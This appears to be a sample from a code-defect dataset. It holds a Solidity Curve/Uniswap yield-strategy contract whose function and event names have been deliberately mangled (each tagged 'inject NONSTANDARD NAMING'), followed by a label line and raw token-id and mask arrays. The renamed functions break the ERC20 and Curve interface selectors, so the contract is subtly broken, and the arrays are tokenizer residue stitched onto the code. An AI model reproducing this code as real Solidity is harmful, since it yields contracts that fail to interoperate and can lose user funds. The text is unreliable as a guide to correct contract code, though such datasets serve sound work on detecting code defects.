function DECREASEALLOWANCE402(address spender, uint256 subtractedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE455(_MSGSENDER877(), spender, _allowances[_MSGSENDER877()][spender].SUB906(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _TRANSFER67(address sender, address recipient, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_BEFORETOKENTRANSFER81(sender, recipient, amount);
_balances[sender] = _balances[sender].SUB906(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].ADD388(amount);
emit TRANSFER657(sender, recipient, amount);
}
function _MINT823(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: mint to the zero address");
_BEFORETOKENTRANSFER81(address(0), account, amount);
_totalSupply = _totalSupply.ADD388(amount);
_balances[account] = _balances[account].ADD388(amount);
emit TRANSFER657(address(0), account, amount);
}
function _BURN465(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: burn from the zero address");
_BEFORETOKENTRANSFER81(account, address(0), amount);
_balances[account] = _balances[account].SUB906(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.SUB906(amount);
emit TRANSFER657(account, address(0), amount);
}
function _APPROVE455(address owner, address spender, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit APPROVAL956(owner, spender, amount);
}
function _SETUPDECIMALS854(uint8 decimals_) internal { //inject NONSTANDARD NAMING
_decimals = decimals_;
}
function _BEFORETOKENTRANSFER81(address from, address to, uint256 amount) internal virtual { } //inject NONSTANDARD NAMING
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function SAFETRANSFER331(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN31(token, abi.encodeWithSelector(token.TRANSFER734.selector, to, value));
}
function SAFETRANSFERFROM748(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN31(token, abi.encodeWithSelector(token.TRANSFERFROM531.selector, from, to, value));
}
function SAFEAPPROVE284(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.ALLOWANCE35(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_CALLOPTIONALRETURN31(token, abi.encodeWithSelector(token.APPROVE429.selector, spender, value));
}
function SAFEINCREASEALLOWANCE243(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE35(address(this), spender).ADD388(value);
_CALLOPTIONALRETURN31(token, abi.encodeWithSelector(token.APPROVE429.selector, spender, newAllowance));
}
function SAFEDECREASEALLOWANCE653(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE35(address(this), spender).SUB906(value, "SafeERC20: decreased allowance below zero");
_CALLOPTIONALRETURN31(token, abi.encodeWithSelector(token.APPROVE429.selector, spender, newAllowance));
}
function _CALLOPTIONALRETURN31(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).FUNCTIONCALL15(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IVault is IERC20 {
function TOKEN190() external view returns (address); //inject NONSTANDARD NAMING
function DECIMALS84() external view returns (uint8); //inject NONSTANDARD NAMING
function EARN763() external; //inject NONSTANDARD NAMING
function DEPOSIT115(uint256) external; //inject NONSTANDARD NAMING
function DEPOSITALL187() external; //inject NONSTANDARD NAMING
function WITHDRAW593(uint256) external; //inject NONSTANDARD NAMING
function WITHDRAWALL63() external; //inject NONSTANDARD NAMING
function DISTRIBUTE67() external; //inject NONSTANDARD NAMING
function SALVAGE929(address, uint256) external; //inject NONSTANDARD NAMING
function GETRATIO675() external view returns (uint256); //inject NONSTANDARD NAMING
}
interface ICurveFi_2 {
function GET_VIRTUAL_PRICE809() external view returns (uint256); //inject NONSTANDARD NAMING
function ADD_LIQUIDITY50(uint256[2] calldata amounts, uint256 min_mint_amount) //inject NONSTANDARD NAMING
external;
function REMOVE_LIQUIDITY_IMBALANCE11( //inject NONSTANDARD NAMING
uint256[2] calldata amounts,
uint256 max_burn_amount
) external;
function REMOVE_LIQUIDITY517(uint256 _amount, uint256[2] calldata amounts) //inject NONSTANDARD NAMING
external;
function EXCHANGE792( //inject NONSTANDARD NAMING
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
function BALANCES2(int128) external view returns (uint256); //inject NONSTANDARD NAMING
}
interface ICurve3Pool {
function GET_VIRTUAL_PRICE809() external view returns (uint256); //inject NONSTANDARD NAMING
function ADD_LIQUIDITY50(uint256[3] calldata amounts, uint256 min_mint_amount) //inject NONSTANDARD NAMING
external;
function REMOVE_LIQUIDITY_IMBALANCE11( //inject NONSTANDARD NAMING
uint256[3] calldata amounts,
uint256 max_burn_amount
) external;
function REMOVE_LIQUIDITY517(uint256 _amount, uint256[3] calldata amounts) //inject NONSTANDARD NAMING
external;
function EXCHANGE792( //inject NONSTANDARD NAMING
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
function BALANCES2(uint256) external view returns (uint256); //inject NONSTANDARD NAMING
}
interface ICurveFi_4 {
function GET_VIRTUAL_PRICE809() external view returns (uint256); //inject NONSTANDARD NAMING
function ADD_LIQUIDITY50(uint256[4] calldata amounts, uint256 min_mint_amount) //inject NONSTANDARD NAMING
external;
function REMOVE_LIQUIDITY_IMBALANCE11( //inject NONSTANDARD NAMING
uint256[4] calldata amounts,
uint256 max_burn_amount
) external;
function REMOVE_LIQUIDITY517(uint256 _amount, uint256[4] calldata amounts) //inject NONSTANDARD NAMING
external;
function EXCHANGE792( //inject NONSTANDARD NAMING
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
function BALANCES2(int128) external view returns (uint256); //inject NONSTANDARD NAMING
}
interface ICurveZap_4 {
function ADD_LIQUIDITY50( //inject NONSTANDARD NAMING
uint256[4] calldata uamounts,
uint256 min_mint_amount
) external;
function REMOVE_LIQUIDITY517(uint256 _amount, uint256[4] calldata min_uamounts) //inject NONSTANDARD NAMING
external;
function REMOVE_LIQUIDITY_IMBALANCE11( //inject NONSTANDARD NAMING
uint256[4] calldata uamounts,
uint256 max_burn_amount
) external;
function CALC_WITHDRAW_ONE_COIN560(uint256 _token_amount, int128 i) //inject NONSTANDARD NAMING
external
returns (uint256);
function REMOVE_LIQUIDITY_ONE_COIN125( //inject NONSTANDARD NAMING
uint256 _token_amount,
int128 i,
uint256 min_uamount
) external;
function REMOVE_LIQUIDITY_ONE_COIN125( //inject NONSTANDARD NAMING
uint256 _token_amount,
int128 i,
uint256 min_uamount,
bool donate_dust
) external;
function WITHDRAW_DONATED_DUST417() external; //inject NONSTANDARD NAMING
function COINS352(int128 arg0) external returns (address); //inject NONSTANDARD NAMING
function UNDERLYING_COINS1(int128 arg0) external returns (address); //inject NONSTANDARD NAMING
function CURVE335() external returns (address); //inject NONSTANDARD NAMING
function TOKEN190() external returns (address); //inject NONSTANDARD NAMING
}
interface ICurveZap {
function REMOVE_LIQUIDITY_ONE_COIN125( //inject NONSTANDARD NAMING
uint256 _token_amount,
int128 i,
uint256 min_uamount
) external;
}
interface ICurveGauge {
function DEPOSIT115(uint256 _value) external; //inject NONSTANDARD NAMING
function DEPOSIT115(uint256 _value, address addr) external; //inject NONSTANDARD NAMING
function BALANCEOF68(address arg0) external view returns (uint256); //inject NONSTANDARD NAMING
function WITHDRAW593(uint256 _value) external; //inject NONSTANDARD NAMING
function WITHDRAW593(uint256 _value, bool claim_rewards) external; //inject NONSTANDARD NAMING
function CLAIM_REWARDS536() external; //inject NONSTANDARD NAMING
function CLAIM_REWARDS536(address addr) external; //inject NONSTANDARD NAMING
function CLAIMABLE_TOKENS440(address addr) external returns (uint256); //inject NONSTANDARD NAMING
function CLAIMABLE_REWARD978(address addr) external view returns (uint256); //inject NONSTANDARD NAMING
function INTEGRATE_FRACTION797(address arg0) external view returns (uint256); //inject NONSTANDARD NAMING
}
interface ICurveMintr {
function MINT951(address) external; //inject NONSTANDARD NAMING
function MINTED257(address arg0, address arg1) external view returns (uint256); //inject NONSTANDARD NAMING
}
interface ICurveVotingEscrow {
function LOCKED178(address arg0) //inject NONSTANDARD NAMING
external
view
returns (int128 amount, uint256 end);
function LOCKED__END474(address _addr) external view returns (uint256); //inject NONSTANDARD NAMING
function CREATE_LOCK305(uint256, uint256) external; //inject NONSTANDARD NAMING
function INCREASE_AMOUNT922(uint256) external; //inject NONSTANDARD NAMING
function INCREASE_UNLOCK_TIME38(uint256 _unlock_time) external; //inject NONSTANDARD NAMING
function WITHDRAW593() external; //inject NONSTANDARD NAMING
function SMART_WALLET_CHECKER846() external returns (address); //inject NONSTANDARD NAMING
}
interface ICurveSmartContractChecker {
function WALLETS237(address) external returns (bool); //inject NONSTANDARD NAMING
function APPROVEWALLET249(address _wallet) external; //inject NONSTANDARD NAMING
}
interface UniswapRouterV2 {
function SWAPEXACTTOKENSFORTOKENS167( //inject NONSTANDARD NAMING
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function ADDLIQUIDITY947( //inject NONSTANDARD NAMING
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function ADDLIQUIDITYETH996( //inject NONSTANDARD NAMING
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function REMOVELIQUIDITY801( //inject NONSTANDARD NAMING
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function GETAMOUNTSOUT893(uint256 amountIn, address[] calldata path) //inject NONSTANDARD NAMING
external
view
returns (uint256[] memory amounts);
function GETAMOUNTSIN14(uint256 amountOut, address[] calldata path) //inject NONSTANDARD NAMING
external
view
returns (uint256[] memory amounts);
function SWAPETHFOREXACTTOKENS437( //inject NONSTANDARD NAMING
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function SWAPEXACTETHFORTOKENS898( //inject NONSTANDARD NAMING
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
}
interface IUniswapV2Pair {
event APPROVAL956( //inject NONSTANDARD NAMING
address indexed owner,
address indexed spender,
uint256 value
);
event TRANSFER657(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
function NAME254() external pure returns (string memory); //inject NONSTANDARD NAMING
function SYMBOL669() external pure returns (string memory); //inject NONSTANDARD NAMING
function DECIMALS84() external pure returns (uint8); //inject NONSTANDARD NAMING
function TOTALSUPPLY738() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF68(address owner) external view returns (uint256); //inject NONSTANDARD NAMING
function ALLOWANCE35(address owner, address spender) //inject NONSTANDARD NAMING
external
view
returns (uint256);
function APPROVE429(address spender, uint256 value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFER734(address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM531( //inject NONSTANDARD NAMING
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR578() external view returns (bytes32); //inject NONSTANDARD NAMING
function PERMIT_TYPEHASH551() external pure returns (bytes32); //inject NONSTANDARD NAMING
function NONCES443(address owner) external view returns (uint256); //inject NONSTANDARD NAMING
function PERMIT326( //inject NONSTANDARD NAMING
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event MINT405(address indexed sender, uint256 amount0, uint256 amount1); //inject NONSTANDARD NAMING
event BURN673( //inject NONSTANDARD NAMING
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event SWAP227( //inject NONSTANDARD NAMING
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event SYNC504(uint112 reserve0, uint112 reserve1); //inject NONSTANDARD NAMING
function MINIMUM_LIQUIDITY881() external pure returns (uint256); //inject NONSTANDARD NAMING
function FACTORY729() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN0644() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN1449() external view returns (address); //inject NONSTANDARD NAMING
function GETRESERVES964() //inject NONSTANDARD NAMING
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function PRICE0CUMULATIVELAST588() external view returns (uint256); //inject NONSTANDARD NAMING
function PRICE1CUMULATIVELAST951() external view returns (uint256); //inject NONSTANDARD NAMING
function KLAST390() external view returns (uint256); //inject NONSTANDARD NAMING
function MINT951(address to) external returns (uint256 liquidity); //inject NONSTANDARD NAMING
function BURN57(address to) //inject NONSTANDARD NAMING
external
returns (uint256 amount0, uint256 amount1);
function SWAP519( //inject NONSTANDARD NAMING
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function SKIM366(address to) external; //inject NONSTANDARD NAMING
function SYNC84() external; //inject NONSTANDARD NAMING
}
interface IUniswapV2Factory {
event PAIRCREATED988( //inject NONSTANDARD NAMING
address indexed token0,
address indexed token1,
address pair,
uint256
);
function GETPAIR36(address tokenA, address tokenB) //inject NONSTANDARD NAMING
external
view
returns (address pair);
function ALLPAIRS303(uint256) external view returns (address pair); //inject NONSTANDARD NAMING
function ALLPAIRSLENGTH195() external view returns (uint256); //inject NONSTANDARD NAMING
function FEETO341() external view returns (address); //inject NONSTANDARD NAMING
function FEETOSETTER863() external view returns (address); //inject NONSTANDARD NAMING
function CREATEPAIR664(address tokenA, address tokenB) //inject NONSTANDARD NAMING
external
returns (address pair);
}
interface ICurveTBTC {
function ADD_LIQUIDITY50( //inject NONSTANDARD NAMING
uint256[4] calldata amounts,
uint256 min_mint_amount
) external returns (uint256);
}
interface IKeepRewardsClaimable {
function CLAIM_REWARDS536() external; //inject NONSTANDARD NAMING
}
// Base of all strategy contracts
abstract contract VoxStrategyBase {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// Perfomance fees
uint256 public treasuryFee = 1000;
uint256 public constant treasuryfeemax584 = 2000; //inject NONSTANDARD NAMING
uint256 public constant treasuryfeebase971 = 10000; //inject NONSTANDARD NAMING
uint256 public strategyFee = 500;
uint256 public constant strategyfeemax620 = 5000; //inject NONSTANDARD NAMING
uint256 public constant strategyfeebase640 = 10000; //inject NONSTANDARD NAMING
uint256 public developerFee = 250;
uint256 public constant developerfeemax597 = 500; //inject NONSTANDARD NAMING
uint256 public constant developerfeebase561 = 10000; //inject NONSTANDARD NAMING
// Withdrawal fee
uint256 public withdrawalFee = 15;
uint256 public constant withdrawalfeemax274 = 15; //inject NONSTANDARD NAMING
uint256 public constant withdrawalfeebase605 = 10000; //inject NONSTANDARD NAMING
// Tokens
address public underlying;
address public constant weth339 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; //inject NONSTANDARD NAMING
address public constant wbtc162 = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599; //inject NONSTANDARD NAMING
// User accounts
address public governance;
address public strategist;
address public treasury;
address public devfund;
address public timelock;
address public vault;
// Dex
address public univ2Router2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(
address _underlying,
address _governance,
address _strategist,
address _treasury,
address _devfund,
address _timelock,
address _vault
) public {
require(_underlying != address(0));
require(_governance != address(0));
require(_strategist != address(0));
require(_treasury != address(0));
require(_devfund != address(0));
require(_timelock != address(0));
require(_vault != address(0));
underlying = _underlying;
governance = _governance;
strategist = _strategist;
treasury = _treasury;
devfund = _devfund;
timelock = _timelock;
vault = _vault;
}
// **** Modifiers **** //
modifier RESTRICTED912 { //inject NONSTANDARD NAMING
require(
msg.sender == tx.origin ||
msg.sender == governance ||
msg.sender == strategist
);
_;
}
// **** Views **** //
function BALANCEOFUNDERLYING222() public view returns (uint256) { //inject NONSTANDARD NAMING
return IERC20(underlying).BALANCEOF68(address(this));
}
function BALANCEOFPOOL881() public virtual view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF68() public view returns (uint256) { //inject NONSTANDARD NAMING
return BALANCEOFUNDERLYING222().ADD388(BALANCEOFPOOL881());
}
function GETNAME974() external virtual pure returns (string memory); //inject NONSTANDARD NAMING
// **** Setters **** //
function SETTREASURYFEE502(uint256 _treasuryFee) external { //inject NONSTANDARD NAMING
require(msg.sender == timelock, "!timelock");
treasuryFee = _treasuryFee;
}
function SETSTRATEGYFEE761(uint256 _strategyFee) external { //inject NONSTANDARD NAMING
require(msg.sender == timelock, "!timelock");
strategyFee = _strategyFee;
}
function SETDEVELOPERFEE113(uint256 _developerFee) external { //inject NONSTANDARD NAMING
require(msg.sender == timelock, "!timelock");
developerFee = _developerFee;
}
function SETWITHDRAWALFEE980(uint256 _withdrawalFee) external { //inject NONSTANDARD NAMING
require(msg.sender == timelock, "!timelock");
withdrawalFee = _withdrawalFee;
}
function SETSTRATEGIST654(address _strategist) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function SETGOVERNANCE136(address _governance) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
governance = _governance;
}
function SETTREASURY187(address _treasury) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
treasury = _treasury;
}
function SETDEVFUND591(address _devfund) external { //inject NONSTANDARD NAMING
require(msg.sender == devfund, "!devfund");
devfund = _devfund;
}
function SETTIMELOCK277(address _timelock) external { //inject NONSTANDARD NAMING
require(msg.sender == timelock, "!timelock");
timelock = _timelock;
}
// **** State mutations **** //
function DEPOSIT115() public virtual; //inject NONSTANDARD NAMING
// Governance only function to salvage non-underlying assets
function SALVAGE929(IERC20 _asset) external returns (uint256 balance) { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
require(underlying != address(_asset), "underlying");
balance = _asset.BALANCEOF68(address(this));
_asset.SAFETRANSFER331(treasury, balance);
}
// Withdraw partial funds, normally used with a vault withdrawal
function WITHDRAW593(uint256 _amount) external { //inject NONSTANDARD NAMING
require(msg.sender == vault, "!vault");
uint256 _balance = IERC20(underlying).BALANCEOF68(address(this));
if (_balance < _amount) {
_amount = _WITHDRAWSOME235(_amount.SUB906(_balance));
_amount = _amount.ADD388(_balance);
}
uint256 _withdrawalFee = _amount.MUL601(withdrawalFee).DIV456(withdrawalfeebase605);
IERC20(underlying).SAFETRANSFER331(treasury, _withdrawalFee);
require(vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(underlying).SAFETRANSFER331(vault, _amount.SUB906(_withdrawalFee));
}
// Withdraw all funds, normally used when migrating strategies
function WITHDRAWALL63() external RESTRICTED912 returns (uint256 balance) { //inject NONSTANDARD NAMING
_WITHDRAWALL78();
balance = IERC20(underlying).BALANCEOF68(address(this));
require(vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(underlying).SAFETRANSFER331(vault, balance);
}
function _WITHDRAWALL78() internal { //inject NONSTANDARD NAMING
_WITHDRAWSOME235(BALANCEOFPOOL881());
}
function _WITHDRAWSOME235(uint256 _amount) internal virtual returns (uint256); //inject NONSTANDARD NAMING
function HARVEST372() public virtual; //inject NONSTANDARD NAMING
function _DISTRIBUTEANDDEPOSIT388() internal { //inject NONSTANDARD NAMING
uint256 _underlying = IERC20(underlying).BALANCEOF68(address(this));
if (_underlying > 0) {
// Treasury fees
IERC20(underlying).SAFETRANSFER331(
treasury,
_underlying.MUL601(treasuryFee).DIV456(treasuryfeebase971)
);
// Strategy fee
IERC20(underlying).SAFETRANSFER331(
strategist,
_underlying.MUL601(strategyFee).DIV456(strategyfeebase640)
);
// Developer fee
IERC20(underlying).SAFETRANSFER331(
devfund,
_underlying.MUL601(developerFee).DIV456(developerfeebase561)
);
DEPOSIT115();
}
}
// **** Emergency functions ****
function EXECUTE807(address _target, bytes memory _data) //inject NONSTANDARD NAMING
public
payable
returns (bytes memory response)
{
require(msg.sender == timelock, "!timelock");
require(_target != address(0), "!target");
// call contract in current context
assembly {
let succeeded := delegatecall(
sub(gas(), 5000),
_target,
add(_data, 0x20),
mload(_data),
0,
0
)
let size := returndatasize()
response := mload(0x40)
mstore(
0x40,
add(response, and(add(add(size, 0x20), 0x1f), not(0x1f)))
)
mstore(response, size)
returndatacopy(add(response, 0x20), 0, size)
switch iszero(succeeded)
case 1 {
// throw if delegatecall failed
revert(add(response, 0x20), size)
}
}
}
// **** Internal functions ****
function _SWAPUNISWAP503( //inject NONSTANDARD NAMING
address _from,
address _to,
uint256 _amount
) internal {
require(_to != address(0));
// Swap with uniswap
IERC20(_from).SAFEAPPROVE284(univ2Router2, 0);
IERC20(_from).SAFEAPPROVE284(univ2Router2, _amount);
address[] memory path;
if (_from == weth339 || _to == weth339) {
path = new address[](2);
path[0] = _from;
path[1] = _to;
} else {
path = new address[](3);
path[0] = _from;
path[1] = weth339;
path[2] = _to;
}
UniswapRouterV2(univ2Router2).SWAPEXACTTOKENSFORTOKENS167(
_amount,
0,
path,
address(this),
now.ADD388(60)
);
}
}
// Base contract for Curve based vault strategies
abstract contract VoxStrategyCurveBase is VoxStrategyBase {
// curve dao
address public curve;
address public gauge;
address public mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0;
// stablecoins
address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address public susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51;
// bitcoins
address public renbtc = 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D;
// rewards
address public crv = 0xD533a949740bb3306d119CC777fa900bA034cd52;
// keep
address public keep = 0x85Eee30c52B0b379b046Fb0F85F4f3Dc3009aFEC;
address public keep_rewards = 0x6828bcF74279eE32f2723eC536c22c51Eed383C6;
// How much CRV tokens to keep
uint256 public keepCRV = 0;
uint256 public keepCRVMax = 10000;
constructor(
address _curve,
address _gauge,
address _underlying,
address _governance,
address _strategist,
address _treasury,
address _devfund,
address _timelock,
address _vault
)
public
VoxStrategyBase(_underlying, _governance, _strategist, _treasury, _devfund, _timelock, _vault)
{
curve = _curve;
gauge = _gauge;
}
// **** Getters ****
function BALANCEOFPOOL881() public override view returns (uint256) { //inject NONSTANDARD NAMING
return ICurveGauge(gauge).BALANCEOF68(address(this));
}
function GETHARVESTABLE58() external returns (uint256) { //inject NONSTANDARD NAMING
return ICurveGauge(gauge).CLAIMABLE_TOKENS440(address(this));
}
function GETMOSTPREMIUM814() public virtual view returns (address, uint256); //inject NONSTANDARD NAMING
// **** Setters ****
function SETKEEPCRV171(uint256 _keepCRV) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
keepCRV = _keepCRV;
}
// **** State Mutation functions ****
function DEPOSIT115() public override { //inject NONSTANDARD NAMING
uint256 _underlying = IERC20(underlying).BALANCEOF68(address(this));
if (_underlying > 0) {
IERC20(underlying).SAFEAPPROVE284(gauge, 0);
IERC20(underlying).SAFEAPPROVE284(gauge, _underlying);
ICurveGauge(gauge).DEPOSIT115(_underlying);
}
}
function _WITHDRAWSOME235(uint256 _amount) //inject NONSTANDARD NAMING
internal
override
returns (uint256)
{
ICurveGauge(gauge).WITHDRAW593(_amount);
return _amount;
}
}
contract VoxStrategyCurveTBTC is VoxStrategyCurveBase {
// Curve stuff
address public tbtc_pool = 0xaa82ca713D94bBA7A89CEAB55314F9EfFEdDc78c;
address public tbtc_gauge = 0x6828bcF74279eE32f2723eC536c22c51Eed383C6;
address public tbtc_crv = 0x64eda51d3Ad40D56b9dFc5554E06F94e1Dd786Fd;
// EVENTS
event HARVESTED180(address indexed token, uint256 amount); //inject NONSTANDARD NAMING
constructor(
address _governance,
address _strategist,
address _treasury,
address _devfund,
address _timelock,
address _vault
)
public
VoxStrategyCurveBase(
tbtc_pool,
tbtc_gauge,
tbtc_crv,
_governance,
_strategist,
_treasury,
_devfund,
_timelock,
_vault
)
{}
// **** Views ****
function GETMOSTPREMIUM814() //inject NONSTANDARD NAMING
public
override
view
returns (address, uint256)
{
return (wbtc162, 2);
}
function GETNAME974() external override pure returns (string memory) { //inject NONSTANDARD NAMING
return "VoxStrategyCurveTBTC";
}
// **** State Mutations ****
function HARVEST372() public RESTRICTED912 override { //inject NONSTANDARD NAMING
// bitcoin we want to convert to
(address to, uint256 toIndex) = GETMOSTPREMIUM814();
// Collects crv tokens
// this also sends KEEP to keep_rewards contract
ICurveMintr(mintr).MINT951(gauge);
uint256 _crv = IERC20(crv).BALANCEOF68(address(this));
if (_crv > 0) {
// x% is sent back to the rewards holder
// to be used to lock up in as veCRV in a future date
uint256 _keepCRV = _crv.MUL601(keepCRV).DIV456(keepCRVMax);
if (_keepCRV > 0) {
IERC20(crv).SAFETRANSFER331(
treasury,
_keepCRV
);
}
_crv = _crv.SUB906(_keepCRV);
_SWAPUNISWAP503(crv, to, _crv);
}
// Collects keep tokens
IKeepRewardsClaimable(keep_rewards).CLAIM_REWARDS536();
uint256 _keep = IERC20(keep).BALANCEOF68(address(this));
if (_keep > 0) {
_SWAPUNISWAP503(keep, to, _keep);
}
// Adds liquidity to curve.fi's pool
// to get back underlying (tbtccrv)
uint256 _to = IERC20(to).BALANCEOF68(address(this));
if (_to > 0) {
IERC20(to).SAFEAPPROVE284(curve, 0);
IERC20(to).SAFEAPPROVE284(curve, _to);
uint256[4] memory liquidity;
liquidity[toIndex] = _to;
ICurveTBTC(curve).ADD_LIQUIDITY50(liquidity, 0);
}
// Distribute the collected funds and deposit underlying
// Emit harvested event
_DISTRIBUTEANDDEPOSIT388();
emit HARVESTED180(to, _to);
}
}
|
inject NONSTANDARD NAMING
|
function DISTRIBUTE67() external;
| 12,568,924 |
[
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
3690,
15765,
8885,
9599,
1435,
3903,
31,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
